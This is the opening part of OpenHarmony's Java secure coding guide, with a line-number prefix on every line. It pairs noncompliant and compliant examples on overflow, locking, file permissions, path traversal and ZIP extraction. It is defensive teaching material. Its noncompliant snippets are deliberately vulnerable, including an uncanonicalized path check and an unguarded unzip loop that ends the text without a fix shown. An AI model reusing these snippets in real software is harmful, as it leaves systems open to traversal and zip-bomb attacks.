1e41f4b71Sopenharmony_ci# Java Secure Coding Guide
2e41f4b71Sopenharmony_ci
3e41f4b71Sopenharmony_ciThis document provides secure coding suggestions for Java-based development.
4e41f4b71Sopenharmony_ci
5e41f4b71Sopenharmony_ci# Data Type
6e41f4b71Sopenharmony_ci
7e41f4b71Sopenharmony_ci## Prevent integer overflow in numeric operations
8e41f4b71Sopenharmony_ci
9e41f4b71Sopenharmony_ci**\[Description]**
10e41f4b71Sopenharmony_ci
11e41f4b71Sopenharmony_ciEnsure that numeric operations do not create a numeric value that is outside of a specific integer range, so as to prevent integer overflows which may lead to unintended behavior.
12e41f4b71Sopenharmony_ci
13e41f4b71Sopenharmony_ciThe built-in integer operators do not indicate overflow or underflow in any way. Common addition, subtraction, multiplication, and division operations may cause integer overflows. In addition, the ranges of Java types are not symmetric (the negation of each minimum value is one more than each maximum value). Therefore, the `java.lang.Math.abs()` method which returns the absolute value of any number can also overflow if given the minimum as an argument.
14e41f4b71Sopenharmony_ci
15e41f4b71Sopenharmony_ciInteger overflows can be avoided using precondition testing, Math class, upcasting, `BigInteger`, etc.
16e41f4b71Sopenharmony_ci
17e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
18e41f4b71Sopenharmony_ci
19e41f4b71Sopenharmony_ci```java
20e41f4b71Sopenharmony_cipublic static int multNum(int num1, int num2) {
21e41f4b71Sopenharmony_ci    return num1 * num2;
22e41f4b71Sopenharmony_ci}
23e41f4b71Sopenharmony_ci```
24e41f4b71Sopenharmony_ci
25e41f4b71Sopenharmony_ciIn this noncompliant code example, when the absolute values of **num1** and **num2** are large and the product of **num1** and **num2** is greater than `Integer.MAX_VALUE` or smaller than `Integer.MIN_VALUE`, the method cannot return the correct result, incurring an overflow.
26e41f4b71Sopenharmony_ci
27e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
28e41f4b71Sopenharmony_ci
29e41f4b71Sopenharmony_ci```java
30e41f4b71Sopenharmony_cipublic static int multNum(int num1, int num2) {
31e41f4b71Sopenharmony_ci    return Math.multiplyExact(num1, num2);
32e41f4b71Sopenharmony_ci}
33e41f4b71Sopenharmony_ci```
34e41f4b71Sopenharmony_ci
35e41f4b71Sopenharmony_ciThis compliant code example uses the `Math.multiplyExact()` method, which is added to Java as part of the Java 8 release, when it is impossible to predict whether an overflow may occur in multiplication operations. This method either returns a mathematically correct value or throw `ArithmeticException`. 
36e41f4b71Sopenharmony_ci
37e41f4b71Sopenharmony_ci## Ensure that division and remainder operations do not result in divide-by-zero errors
38e41f4b71Sopenharmony_ci
39e41f4b71Sopenharmony_ci**\[Description]**
40e41f4b71Sopenharmony_ci
41e41f4b71Sopenharmony_ciA division or remainder by zero can result in abnormal program termination and denial of service (DoS). Therefore, the divisor in a division or remainder operation must be checked for zero prior to the operation.
42e41f4b71Sopenharmony_ci
43e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
44e41f4b71Sopenharmony_ci
45e41f4b71Sopenharmony_ci```java
46e41f4b71Sopenharmony_cilong dividendNum = 0;
47e41f4b71Sopenharmony_cilong divisorNum = 0;
48e41f4b71Sopenharmony_cilong result1 = dividendNum / divisorNum;
49e41f4b71Sopenharmony_cilong result2 = dividendNum % divisorNum;
50e41f4b71Sopenharmony_ci```
51e41f4b71Sopenharmony_ci
52e41f4b71Sopenharmony_ciIn this noncompliant code example, the divisor is not checked for zero prior to the operation, which may cause program errors.
53e41f4b71Sopenharmony_ci
54e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
55e41f4b71Sopenharmony_ci
56e41f4b71Sopenharmony_ci```java
57e41f4b71Sopenharmony_cilong dividendNum = 0;
58e41f4b71Sopenharmony_cilong divisorNum = 0;
59e41f4b71Sopenharmony_ciif (divisorNum != 0) {
60e41f4b71Sopenharmony_ci    long result1 = dividendNum / divisorNum;
61e41f4b71Sopenharmony_ci    long result2 = dividendNum % divisorNum;
62e41f4b71Sopenharmony_ci}
63e41f4b71Sopenharmony_ci```
64e41f4b71Sopenharmony_ci
65e41f4b71Sopenharmony_ciThis compliant code example tests the divisor to guarantee there is no possibility of divide-by-zero errors before the operation.
66e41f4b71Sopenharmony_ci
67e41f4b71Sopenharmony_ci# Expressions
68e41f4b71Sopenharmony_ci
69e41f4b71Sopenharmony_ci## Do not use a null in any case where an object is required to prevent null pointer reference
70e41f4b71Sopenharmony_ci
71e41f4b71Sopenharmony_ci**\[Description]**
72e41f4b71Sopenharmony_ci
73e41f4b71Sopenharmony_ciUsing a null in cases where an object is required results in a `NullPointerException` being thrown. Such exceptions should be resolved through pre-check rather than `try...catch`.
74e41f4b71Sopenharmony_ci
75e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
76e41f4b71Sopenharmony_ci
77e41f4b71Sopenharmony_ci```java
78e41f4b71Sopenharmony_ciString env = System.getenv(SOME_ENV);
79e41f4b71Sopenharmony_ciif (env.length() > MAX_LENGTH) {
80e41f4b71Sopenharmony_ci    ...
81e41f4b71Sopenharmony_ci}
82e41f4b71Sopenharmony_ci```
83e41f4b71Sopenharmony_ci
84e41f4b71Sopenharmony_ciIn this noncompliant code example, the return value of `System.getenv()` may be null, but `env` is not checked for null before it is used. As a result, a null pointer reference occurs.
85e41f4b71Sopenharmony_ci
86e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
87e41f4b71Sopenharmony_ci
88e41f4b71Sopenharmony_ci```java
89e41f4b71Sopenharmony_ciString env = System.getenv(SOME_ENV);
90e41f4b71Sopenharmony_ciif (env != null && env.length() > MAX_LENGTH) {
91e41f4b71Sopenharmony_ci    ...
92e41f4b71Sopenharmony_ci}
93e41f4b71Sopenharmony_ci```
94e41f4b71Sopenharmony_ci
95e41f4b71Sopenharmony_ciThe compliant code example eliminates null pointer reference by adding a null check for the `System.getenv()` return value.
96e41f4b71Sopenharmony_ci
97e41f4b71Sopenharmony_ci# Concurrency and Multithreading
98e41f4b71Sopenharmony_ci
99e41f4b71Sopenharmony_ci## Ensure that actively held locks are released on exceptional conditions
100e41f4b71Sopenharmony_ci
101e41f4b71Sopenharmony_ci**\[Description]**
102e41f4b71Sopenharmony_ci
103e41f4b71Sopenharmony_ciAn unreleased lock in any thread will prevent other threads from acquiring the same lock, leading to blocking. Programs must release all actively held locks on exceptional conditions. Intrinsic locks of class objects used for method and block synchronization are automatically released on exceptional conditions. However, most Java lock objects are not closeable, so they cannot be automatically released using the try-with-resources feature. In this case, programs must release the locks actively.
104e41f4b71Sopenharmony_ci
105e41f4b71Sopenharmony_ci**Noncompliant Code Example** (Checked Exception)
106e41f4b71Sopenharmony_ci
107e41f4b71Sopenharmony_ci```java
108e41f4b71Sopenharmony_cipublic final class Foo {
109e41f4b71Sopenharmony_ci    private final Lock lock = new ReentrantLock();
110e41f4b71Sopenharmony_ci
111e41f4b71Sopenharmony_ci    public void incorrectReleaseLock() {
112e41f4b71Sopenharmony_ci        try {
113e41f4b71Sopenharmony_ci            lock.lock();
114e41f4b71Sopenharmony_ci            doSomething();
115e41f4b71Sopenharmony_ci            lock.unlock();
116e41f4b71Sopenharmony_ci        } catch (MyBizException ex) {
117e41f4b71Sopenharmony_ci            //Handle the exception
118e41f4b71Sopenharmony_ci        }
119e41f4b71Sopenharmony_ci    }
120e41f4b71Sopenharmony_ci
121e41f4b71Sopenharmony_ci    private void doSomething() throws MyBizException {
122e41f4b71Sopenharmony_ci        ...
123e41f4b71Sopenharmony_ci    }
124e41f4b71Sopenharmony_ci}
125e41f4b71Sopenharmony_ci```
126e41f4b71Sopenharmony_ci
127e41f4b71Sopenharmony_ciThis noncompliant code example uses a `ReentrantLock`. However, the catch block fails to release the lock when an exception is thrown by the `doSomething()` method.
128e41f4b71Sopenharmony_ci
129e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**finally** Block)
130e41f4b71Sopenharmony_ci
131e41f4b71Sopenharmony_ci```java
132e41f4b71Sopenharmony_cipublic final class Foo {
133e41f4b71Sopenharmony_ci    private final Lock lock = new ReentrantLock();
134e41f4b71Sopenharmony_ci
135e41f4b71Sopenharmony_ci    public void correctReleaseLock() {
136e41f4b71Sopenharmony_ci        lock.lock();
137e41f4b71Sopenharmony_ci        try {
138e41f4b71Sopenharmony_ci            doSomething();
139e41f4b71Sopenharmony_ci        } catch (MyBizException ex) {
140e41f4b71Sopenharmony_ci            //Handle the exception
141e41f4b71Sopenharmony_ci        } finally {
142e41f4b71Sopenharmony_ci            lock.unlock();
143e41f4b71Sopenharmony_ci        }
144e41f4b71Sopenharmony_ci    }
145e41f4b71Sopenharmony_ci
146e41f4b71Sopenharmony_ci    private void doSomething() throws MyBizException {
147e41f4b71Sopenharmony_ci        ...
148e41f4b71Sopenharmony_ci    }
149e41f4b71Sopenharmony_ci}
150e41f4b71Sopenharmony_ci```
151e41f4b71Sopenharmony_ci
152e41f4b71Sopenharmony_ciThis compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception.
153e41f4b71Sopenharmony_ci
154e41f4b71Sopenharmony_ci**Noncompliant Code Example** (Unchecked Exception)
155e41f4b71Sopenharmony_ci
156e41f4b71Sopenharmony_ci```java
157e41f4b71Sopenharmony_cifinal class Foo {
158e41f4b71Sopenharmony_ci    private final Lock lock = new ReentrantLock();
159e41f4b71Sopenharmony_ci
160e41f4b71Sopenharmony_ci    public void incorrectReleaseLock(String value) {
161e41f4b71Sopenharmony_ci        lock.lock();
162e41f4b71Sopenharmony_ci        ...
163e41f4b71Sopenharmony_ci        int index = Integer.parseInt(value);
164e41f4b71Sopenharmony_ci        ...
165e41f4b71Sopenharmony_ci        lock.unlock();
166e41f4b71Sopenharmony_ci    }
167e41f4b71Sopenharmony_ci}
168e41f4b71Sopenharmony_ci```
169e41f4b71Sopenharmony_ci
170e41f4b71Sopenharmony_ciIn this noncompliant code example, when the string passed by the `incorrectReleaseLock()` method is not a number, a `NumberFormatException` will be thrown in subsequent operations. Consequently, the lock is not correctly released.
171e41f4b71Sopenharmony_ci
172e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**finally** Block)
173e41f4b71Sopenharmony_ci
174e41f4b71Sopenharmony_ci```java
175e41f4b71Sopenharmony_cifinal class Foo {
176e41f4b71Sopenharmony_ci    private final Lock lock = new ReentrantLock();
177e41f4b71Sopenharmony_ci
178e41f4b71Sopenharmony_ci    public void correctReleaseLock(String value) {
179e41f4b71Sopenharmony_ci        lock.lock();
180e41f4b71Sopenharmony_ci        try {
181e41f4b71Sopenharmony_ci            ...
182e41f4b71Sopenharmony_ci            int index = Integer.parseInt(value);
183e41f4b71Sopenharmony_ci            ...
184e41f4b71Sopenharmony_ci        } finally {
185e41f4b71Sopenharmony_ci            lock.unlock();
186e41f4b71Sopenharmony_ci        }
187e41f4b71Sopenharmony_ci    }
188e41f4b71Sopenharmony_ci}
189e41f4b71Sopenharmony_ci```
190e41f4b71Sopenharmony_ci
191e41f4b71Sopenharmony_ciThis compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception.
192e41f4b71Sopenharmony_ci
193e41f4b71Sopenharmony_ci## Do not use **Thread.stop()** to terminate threads
194e41f4b71Sopenharmony_ci
195e41f4b71Sopenharmony_ci**\[Description]**
196e41f4b71Sopenharmony_ci
197e41f4b71Sopenharmony_ciThreads preserve class invariants when they are allowed to exit normally. Some thread APIs were initially introduced to facilitate thread suspension, resumption, and termination but were later deprecated due to inherent design weaknesses. For example, the `Thread.stop()` method causes the thread to immediately throw a `ThreadDeath` exception, which usually stops the thread. Calling `Thread.stop()` results in the release of all locks acquired by a thread, potentially exposing the objects protected by the locks when those objects are in an inconsistent state.
198e41f4b71Sopenharmony_ci
199e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Deprecated **Thread.stop()**)
200e41f4b71Sopenharmony_ci
201e41f4b71Sopenharmony_ci```java
202e41f4b71Sopenharmony_cipublic final class Foo implements Runnable {
203e41f4b71Sopenharmony_ci    private final Vector<Integer> vector = new Vector<Integer>(1000);
204e41f4b71Sopenharmony_ci
205e41f4b71Sopenharmony_ci    public Vector<Integer> getVector() {
206e41f4b71Sopenharmony_ci        return vector;
207e41f4b71Sopenharmony_ci    }
208e41f4b71Sopenharmony_ci
209e41f4b71Sopenharmony_ci    @Override
210e41f4b71Sopenharmony_ci    public synchronized void run() {
211e41f4b71Sopenharmony_ci        Random number = new Random(123L);
212e41f4b71Sopenharmony_ci        int i = vector.capacity();
213e41f4b71Sopenharmony_ci        while (i > 0) {
214e41f4b71Sopenharmony_ci            vector.add(number.nextInt(100));
215e41f4b71Sopenharmony_ci            i--;
216e41f4b71Sopenharmony_ci        }
217e41f4b71Sopenharmony_ci    }
218e41f4b71Sopenharmony_ci
219e41f4b71Sopenharmony_ci    public static void main(String[] args) throws InterruptedException {
220e41f4b71Sopenharmony_ci        Thread thread = new Thread(new Foo());
221e41f4b71Sopenharmony_ci        thread.start();
222e41f4b71Sopenharmony_ci        Thread.sleep(5000);
223e41f4b71Sopenharmony_ci        thread.stop();
224e41f4b71Sopenharmony_ci    }
225e41f4b71Sopenharmony_ci}
226e41f4b71Sopenharmony_ci```
227e41f4b71Sopenharmony_ci
228e41f4b71Sopenharmony_ciIn this noncompliant code example, a thread fills a vector with pseudorandom numbers. The thread is forcefully stopped after a specific period of time. Because **Vector** is a thread-safe class, the operations performed by multiple threads on the shared instance will leave it in a consistent state. For example, the `Vector.size()` method always returns the correct number of elements in the vector, because the vector instance uses its own intrinsic lock to synchronize state. However, the `Thread.stop()` method causes the thread to stop and throw a `ThreadDeath` exception. All acquired locks are subsequently released. If the thread was in the process of adding a new integer when it was stopped, the vector would be in an inconsistent state. For example, this could result in `Vector.size()` returning an incorrect element count because the element count was incremented after the element is added.
229e41f4b71Sopenharmony_ci
230e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Setting a Thread End Flag)
231e41f4b71Sopenharmony_ci
232e41f4b71Sopenharmony_ci```java
233e41f4b71Sopenharmony_cipublic final class Foo implements Runnable {
234e41f4b71Sopenharmony_ci    private final Vector<Integer> vector = new Vector<Integer>(1000);
235e41f4b71Sopenharmony_ci
236e41f4b71Sopenharmony_ci    private boolean done = false;
237e41f4b71Sopenharmony_ci
238e41f4b71Sopenharmony_ci    public Vector<Integer> getVector() {
239e41f4b71Sopenharmony_ci        return vector;
240e41f4b71Sopenharmony_ci    }
241e41f4b71Sopenharmony_ci
242e41f4b71Sopenharmony_ci    public void shutdown() {
243e41f4b71Sopenharmony_ci        done = true;
244e41f4b71Sopenharmony_ci    }
245e41f4b71Sopenharmony_ci
246e41f4b71Sopenharmony_ci    @Override
247e41f4b71Sopenharmony_ci    public synchronized void run() {
248e41f4b71Sopenharmony_ci        Random number = new Random(123L);
249e41f4b71Sopenharmony_ci        int i = vector.capacity();
250e41f4b71Sopenharmony_ci        while (!done && i > 0) {
251e41f4b71Sopenharmony_ci            vector.add(number.nextInt(100));
252e41f4b71Sopenharmony_ci            i--;
253e41f4b71Sopenharmony_ci        }
254e41f4b71Sopenharmony_ci    }
255e41f4b71Sopenharmony_ci
256e41f4b71Sopenharmony_ci    public static void main(String[] args) throws InterruptedException {
257e41f4b71Sopenharmony_ci        Foo foo = new Foo();
258e41f4b71Sopenharmony_ci        Thread thread = new Thread(foo);
259e41f4b71Sopenharmony_ci        thread.start();
260e41f4b71Sopenharmony_ci        Thread.sleep(5000);
261e41f4b71Sopenharmony_ci        foo.shutdown();
262e41f4b71Sopenharmony_ci    }
263e41f4b71Sopenharmony_ci}
264e41f4b71Sopenharmony_ci```
265e41f4b71Sopenharmony_ci
266e41f4b71Sopenharmony_ciThis compliant code example uses a flag to request thread termination. The `shutdown()` method is used to set the flag to **true**. The `run()` method of the thread terminates when it finds the flag is **true**.
267e41f4b71Sopenharmony_ci
268e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Interruptible)
269e41f4b71Sopenharmony_ci
270e41f4b71Sopenharmony_ci```java
271e41f4b71Sopenharmony_cipublic final class Foo implements Runnable {
272e41f4b71Sopenharmony_ci    private final Vector<Integer> vector = new Vector<Integer>(1000);
273e41f4b71Sopenharmony_ci
274e41f4b71Sopenharmony_ci    public Vector<Integer> getVector() {
275e41f4b71Sopenharmony_ci        return vector;
276e41f4b71Sopenharmony_ci    }
277e41f4b71Sopenharmony_ci
278e41f4b71Sopenharmony_ci    @Override
279e41f4b71Sopenharmony_ci    public synchronized void run() {
280e41f4b71Sopenharmony_ci        Random number = new Random(123L);
281e41f4b71Sopenharmony_ci        int i = vector.capacity();
282e41f4b71Sopenharmony_ci        while (!Thread.interrupted() && i > 0) {
283e41f4b71Sopenharmony_ci            vector.add(number.nextInt(100));
284e41f4b71Sopenharmony_ci            i--;
285e41f4b71Sopenharmony_ci        }
286e41f4b71Sopenharmony_ci    }
287e41f4b71Sopenharmony_ci
288e41f4b71Sopenharmony_ci    public static void main(String[] args) throws InterruptedException {
289e41f4b71Sopenharmony_ci        Foo foo = new Foo();
290e41f4b71Sopenharmony_ci        Thread thread = new Thread(foo);
291e41f4b71Sopenharmony_ci        thread.start();
292e41f4b71Sopenharmony_ci        Thread.sleep(5000);
293e41f4b71Sopenharmony_ci        thread.interrupt();
294e41f4b71Sopenharmony_ci    }
295e41f4b71Sopenharmony_ci}
296e41f4b71Sopenharmony_ci```
297e41f4b71Sopenharmony_ci
298e41f4b71Sopenharmony_ciThe compliant code example calls the `Thread.interrupt()` method to terminate the thread. Calling `Thread.interrupt()` sets an internal termination flag. The thread polls that flag using the `Thread.interrupted()` method, which both returns **true** if the current thread has been terminated and clears the termination flag.
299e41f4b71Sopenharmony_ci
300e41f4b71Sopenharmony_ci## Clear customized **ThreadLocal** variables when the thread in the thread pool ends
301e41f4b71Sopenharmony_ci
302e41f4b71Sopenharmony_ci**\[Description]**
303e41f4b71Sopenharmony_ci
304e41f4b71Sopenharmony_ciThread pooling reduces thread creation overhead by reusing threads. However, the reuse of threads causes two problems related to the use of `ThreadLocal` variables:
305e41f4b71Sopenharmony_ci
306e41f4b71Sopenharmony_ci- Dirty data: `ThreadLocal` variables are not correctly initialized for the current task. Consequently, the task sees `ThreadLocal` variables set by another task executed on the same thread.
307e41f4b71Sopenharmony_ci- Memory leak: Since `ThreadLocal` variables are not actively released, the memory cannot be actively reclaimed.
308e41f4b71Sopenharmony_ci
309e41f4b71Sopenharmony_ciTherefore, the `ThreadLocal` variables used by each task in the thread pool must be automatically cleared after the task ends.
310e41f4b71Sopenharmony_ci
311e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
312e41f4b71Sopenharmony_ci
313e41f4b71Sopenharmony_ci```java
314e41f4b71Sopenharmony_cipublic class TestThreadLocal {
315e41f4b71Sopenharmony_ci    public static void main(String[] args) {
316e41f4b71Sopenharmony_ci        ThreadPoolExecutor pool = new ThreadPoolExecutor(1, 2, 100,
317e41f4b71Sopenharmony_ci            TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(),
318e41f4b71Sopenharmony_ci            Executors.defaultThreadFactory(), new ThreadPoolExecutor.CallerRunsPolicy());
319e41f4b71Sopenharmony_ci        for (int i = 0; i < 20; i++) {
320e41f4b71Sopenharmony_ci            pool.execute(new TestThreadLocalTask());
321e41f4b71Sopenharmony_ci        }
322e41f4b71Sopenharmony_ci    }
323e41f4b71Sopenharmony_ci}
324e41f4b71Sopenharmony_ci
325e41f4b71Sopenharmony_ciclass TestThreadLocalTask implements Runnable {
326e41f4b71Sopenharmony_ci    private static ThreadLocal<Integer> localValue = new ThreadLocal<>();
327e41f4b71Sopenharmony_ci
328e41f4b71Sopenharmony_ci    @Override
329e41f4b71Sopenharmony_ci    public void run() {
330e41f4b71Sopenharmony_ci        localValue.set(STATE1);
331e41f4b71Sopenharmony_ci        try {
332e41f4b71Sopenharmony_ci            ...
333e41f4b71Sopenharmony_ci            localValue.set(STATE3);
334e41f4b71Sopenharmony_ci            ...
335e41f4b71Sopenharmony_ci        } finally {
336e41f4b71Sopenharmony_ci            localValue.remove(); //Use the remove() method to clear local variables of the thread to avoid memory leak
337e41f4b71Sopenharmony_ci        }
338e41f4b71Sopenharmony_ci    }
339e41f4b71Sopenharmony_ci}
340e41f4b71Sopenharmony_ci```
341e41f4b71Sopenharmony_ci
342e41f4b71Sopenharmony_ci# Input/Output
343e41f4b71Sopenharmony_ci
344e41f4b71Sopenharmony_ci## Create files with appropriate access permissions on multi-user systems
345e41f4b71Sopenharmony_ci
346e41f4b71Sopenharmony_ci**\[Description]**
347e41f4b71Sopenharmony_ci
348e41f4b71Sopenharmony_ciFiles in multi-user systems are generally owned by a particular user. The owner of the files can specify which other users in the system are allowed to access the files. These file systems use a privilege and permission model to protect file access. When a file is created, the file access permissions dictate who are allowed to access or operate on the file. When a program creates a file with insufficiently restrictive access permissions, an attacker may read or modify the file before the program can modify the permissions. Consequently, files must be created with access permissions that prevent unauthorized file access.
349e41f4b71Sopenharmony_ci
350e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
351e41f4b71Sopenharmony_ci
352e41f4b71Sopenharmony_ci```java
353e41f4b71Sopenharmony_ciWriter out = new FileWriter("file");
354e41f4b71Sopenharmony_ci```
355e41f4b71Sopenharmony_ci
356e41f4b71Sopenharmony_ciThe constructors for `FileOutputStream` and `FileWriter` do not allow programmers to explicitly specify file access permissions. In this noncompliant code example, the access permissions of any file created are implementation-defined and may not prevent unauthorized access.
357e41f4b71Sopenharmony_ci
358e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
359e41f4b71Sopenharmony_ci
360e41f4b71Sopenharmony_ci```java
361e41f4b71Sopenharmony_ciPath file = new File("file").toPath();
362e41f4b71Sopenharmony_ci
363e41f4b71Sopenharmony_ci//Throw an exception, rather than overwrite an existing file
364e41f4b71Sopenharmony_ciSet<OpenOption> options = new HashSet<OpenOption>();
365e41f4b71Sopenharmony_cioptions.add(StandardOpenOption.CREATE_NEW);
366e41f4b71Sopenharmony_cioptions.add(StandardOpenOption.APPEND);
367e41f4b71Sopenharmony_ci
368e41f4b71Sopenharmony_ci//Set file permissions to allow only the owner to read/write the file
369e41f4b71Sopenharmony_ciSet<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-------");
370e41f4b71Sopenharmony_ciFileAttribute<Set<PosixFilePermission>> attr =
371e41f4b71Sopenharmony_ci    PosixFilePermissions.asFileAttribute(perms);
372e41f4b71Sopenharmony_citry (SeekableByteChannel sbc = Files.newByteChannel(file, options, attr)) {
373e41f4b71Sopenharmony_ci    ... //Write data
374e41f4b71Sopenharmony_ci}
375e41f4b71Sopenharmony_ci```
376e41f4b71Sopenharmony_ci
377e41f4b71Sopenharmony_ci**\[Exception]**
378e41f4b71Sopenharmony_ci
379e41f4b71Sopenharmony_ciWhen a file is created inside a directory that is both secure and unreadable to untrusted users, the file may be created with the default access permissions. This is the case, for example, if the entire file system is trusted or accessible only to trusted users.
380e41f4b71Sopenharmony_ci
381e41f4b71Sopenharmony_ci## Validate and canonicalize path names constructed using external data
382e41f4b71Sopenharmony_ci
383e41f4b71Sopenharmony_ci**\[Description]**
384e41f4b71Sopenharmony_ci
385e41f4b71Sopenharmony_ciIf a path name is constructed using external data, it must be verified. Otherwise, a path traversal vulnerability may occur.
386e41f4b71Sopenharmony_ci
387e41f4b71Sopenharmony_ciA path name may be either absolute or relative and may contain file links, such as symbolic links, shortcuts, and shadows, which all affect path name validation. Therefore, path names must be canonicalized before being validated. Be sure to use `getCanonicalPath()`, but not `getAbsolutePath()`, to canonicalize path names, because the latter does not guarantee correct canonicalization on all platforms.
388e41f4b71Sopenharmony_ci
389e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
390e41f4b71Sopenharmony_ci
391e41f4b71Sopenharmony_ci```java
392e41f4b71Sopenharmony_cipublic void doSomething() {
393e41f4b71Sopenharmony_ci    File file = new File(HOME_PATH, fileName);
394e41f4b71Sopenharmony_ci    String path = file.getPath();
395e41f4b71Sopenharmony_ci
396e41f4b71Sopenharmony_ci    if (!validatePath(path)) {
397e41f4b71Sopenharmony_ci        throw new IllegalArgumentException("Path Traversal vulnerabilities may exist!") ;
398e41f4b71Sopenharmony_ci    }
399e41f4b71Sopenharmony_ci    ... //Perform read and write operations on the file
400e41f4b71Sopenharmony_ci}
401e41f4b71Sopenharmony_ci
402e41f4b71Sopenharmony_ciprivate boolean validatePath(String path) {
403e41f4b71Sopenharmony_ci    if (path.startsWith(HOME_PATH)) {
404e41f4b71Sopenharmony_ci        return true;
405e41f4b71Sopenharmony_ci    } else {
406e41f4b71Sopenharmony_ci        return false;
407e41f4b71Sopenharmony_ci    }
408e41f4b71Sopenharmony_ci}
409e41f4b71Sopenharmony_ci```
410e41f4b71Sopenharmony_ci
411e41f4b71Sopenharmony_ciIn this noncompliant code example, the file name comes from external input and is directly concatenated with a fixed path name to generate the actual path name. Before the file is accessed, `validatePath` is used to check whether the actual path name is under a fixed directory. However, an attacker can still access a file outside **HOME\_PATH** by entering an argument that contains **../**.
412e41f4b71Sopenharmony_ci
413e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**getCanonicalPath()**)
414e41f4b71Sopenharmony_ci
415e41f4b71Sopenharmony_ci```java
416e41f4b71Sopenharmony_cipublic void doSomething() {
417e41f4b71Sopenharmony_ci    File file = new File(HOME_PATH, fileName);
418e41f4b71Sopenharmony_ci    try {
419e41f4b71Sopenharmony_ci        String canonicalPath = file.getCanonicalPath();
420e41f4b71Sopenharmony_ci        if (!validatePath(canonicalPath)) {
421e41f4b71Sopenharmony_ci            throw new IllegalArgumentException("Path Traversal vulnerability!");
422e41f4b71Sopenharmony_ci        }
423e41f4b71Sopenharmony_ci        ... //Perform read and write operations on the file
424e41f4b71Sopenharmony_ci    } catch (IOException ex) {
425e41f4b71Sopenharmony_ci        throw new IllegalArgumentException("An exception occurred ...", ex);
426e41f4b71Sopenharmony_ci    }
427e41f4b71Sopenharmony_ci}
428e41f4b71Sopenharmony_ci
429e41f4b71Sopenharmony_ciprivate boolean validatePath(String path) {
430e41f4b71Sopenharmony_ci    if (path.startsWith(HOME_PATH)) {
431e41f4b71Sopenharmony_ci        return true;
432e41f4b71Sopenharmony_ci    } else {
433e41f4b71Sopenharmony_ci        return false;
434e41f4b71Sopenharmony_ci    }
435e41f4b71Sopenharmony_ci}
436e41f4b71Sopenharmony_ci```
437e41f4b71Sopenharmony_ci
438e41f4b71Sopenharmony_ciThis compliant code example canonicalizes the path name constructed using the externally-supplied file name, and validates the canonicalized path name before performing file read/write operations. This practice can effectively prevent risks like path traversal.
439e41f4b71Sopenharmony_ci
440e41f4b71Sopenharmony_ci## Perform security check when decompressing a ZIP archive using **ZipInputStream**
441e41f4b71Sopenharmony_ci
442e41f4b71Sopenharmony_ci**\[Description]**
443e41f4b71Sopenharmony_ci
444e41f4b71Sopenharmony_ciA number of security concerns must be considered when extracting files from a ZIP archive using `java.util.zip.ZipInputStream`:
445e41f4b71Sopenharmony_ci
446e41f4b71Sopenharmony_ci**1\. Extracting files outside the intended directory**
447e41f4b71Sopenharmony_ci
448e41f4b71Sopenharmony_ciFile names may contain **../** sequences that may cause the files to be extracted outside of the intended directory. Therefore, file names must be validated when files are extracted from a ZIP archive. If the destination path of any file in the ZIP archive is not within the expected directory, either refuse to extract it or extract it to a safe location.
449e41f4b71Sopenharmony_ci
450e41f4b71Sopenharmony_ci**2\. Excessive consumption of system resources during file extraction**
451e41f4b71Sopenharmony_ci
452e41f4b71Sopenharmony_ciWhen extracting files from a ZIP archive, both the number and size of the extracted files need to be limited. The zip algorithm can produce very large compression ratios, to compress a huge file into a small ZIP archive. If the actual size of the files in the ZIP archive is not checked, the extracted files may occupy a large amount of system resources, resulting in a ZIP bomb attack. Therefore, programs must refuse to extract files beyond a certain size limit. The actual limit depends on the capabilities of the platform.
453e41f4b71Sopenharmony_ci
454e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
455e41f4b71Sopenharmony_ci
456e41f4b71Sopenharmony_ci```java
457e41f4b71Sopenharmony_cipublic void unzip(String fileName, String dir) throws IOException {
458e41f4b71Sopenharmony_ci    try (FileInputStream fis = new FileInputStream(fileName);
459e41f4b71Sopenharmony_ci        ZipInputStream zis = new ZipInputStream(fis)) {
460e41f4b71Sopenharmony_ci        ZipEntry entry;
461e41f4b71Sopenharmony_ci        File tempFile;
462e41f4b71Sopenharmony_ci        byte[] buf = new byte[10240];
463e41f4b71Sopenharmony_ci        int length;
464e41f4b71Sopenharmony_ci
465e41f4b71Sopenharmony_ci        while ((entry = zis.getNextEntry()) != null) {
466e41f4b71Sopenharmony_ci            tempFile = new File(dir, entry.getName());
467e41f4b71Sopenharmony_ci            if (entry.isDirectory()) {
468e41f4b71Sopenharmony_ci                tempFile.mkdirs();
469e41f4b71Sopenharmony_ci                continue;
470e41f4b71Sopenharmony_ci            }
471e41f4b71Sopenharmony_ci
472e41f4b71Sopenharmony_ci            try (FileOutputStream fos = new FileOutputStream(tempFile)) {
473e41f4b71Sopenharmony_ci                while ((length = zis.read(buf)) != -1) {
474e41f4b71Sopenharmony_ci                    fos.write(buf, 0, length);
475e41f4b71Sopenharmony_ci                }
476e41f4b71Sopenharmony_ci            }
477e41f4b71Sopenharmony_ci        }
478e41f4b71Sopenharmony_ci    }
479e41f4b71Sopenharmony_ci}
480e41f4b71Sopenharmony_ci```
481e41f4b71Sopenharmony_ci
